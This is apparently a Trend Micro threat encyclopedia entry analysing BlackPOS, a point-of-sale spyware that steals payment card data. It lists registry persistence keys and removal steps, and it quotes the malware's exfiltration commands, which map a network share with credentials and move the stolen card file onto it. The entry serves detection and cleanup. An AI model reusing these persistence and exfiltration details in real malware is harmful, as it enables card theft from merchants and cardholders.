Analysis by: Mark Joseph Manahan

ALIASES:

Troj/Tracur-BL (Sophos) ,Trojan horse BackDoor.Agent.AWRE (AVG) ,W32/POSCardStealer.BL!tr (Fortinet) ,W32/Pws.CFXL (exact) (Fprot) ,Win32.Pocardler (Ikarus) ,Trojan:Win32/Ploscato.B (Microsoft) ,PWS-FBOJ (McAfee) ,Win32/Spy.POSCardStealer.T trojan (Eset) ,Infostealer.Reedum.B (Symantec)

 PLATFORM:

Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Spyware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from P2P shares

This spyware is also known as BlackPOS.

This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It steals certain information from the system and/or the user.

  TECHNICAL DETAILS

File Size: 270,336 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 20 Jan 2014
Payload: Connects to URLs/IPs

Arrival Details

This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Autostart Technique

This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ImagePath = "{Malware Path and Filename}"

Other System Modifications

This spyware adds the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_POSWDS

It adds the following registry entries as part of its installation routine:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
DisplayName = "POSWDS"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ErrorControl = "0"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
FailureActions = "{Hex Values}"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ObjectName = "Local System"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Type = "272"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
0 = "Root\LEGACY_POSWDS\0000"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
Count = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
NextInstance = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security
Security = "{Hex Value}"

Information Theft

This spyware steals the following information:

  • Credit/Debit Card Information

Stolen Information

The stolen information is saved in the following file:

  • %system%\winxml.dll

NOTES:

This spyware dumps pos.exe memory to {Malware Path}\{3 random number}.memdump.

It uploads the stolen information into a local computer inside the network using the following commands during 10am-5pm (once every 7 hours):
net use S: \\{BLOCKED}.{BLOCKED}.240.31\c$\WINDOWS\twain_32 /user:{username} {password}
move %system%\winxml.dll S: {Username}_{Day}_{Month}_{Hour}.txt
net use S: /del

  SOLUTION

Minimum Scan Engine: 9.700
FIRST VSAPI PATTERN FILE: 10.552.04
FIRST VSAPI PATTERN DATE: 20 Jan 2014
VSAPI OPR PATTERN File: 10.553.00
VSAPI OPR PATTERN Date: 20 Jan 2014

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\POSWDSHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    • POSWDS
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
    • LEGACY_POSWDS

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %system%\winxml.dll

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TSPY_POCARDL.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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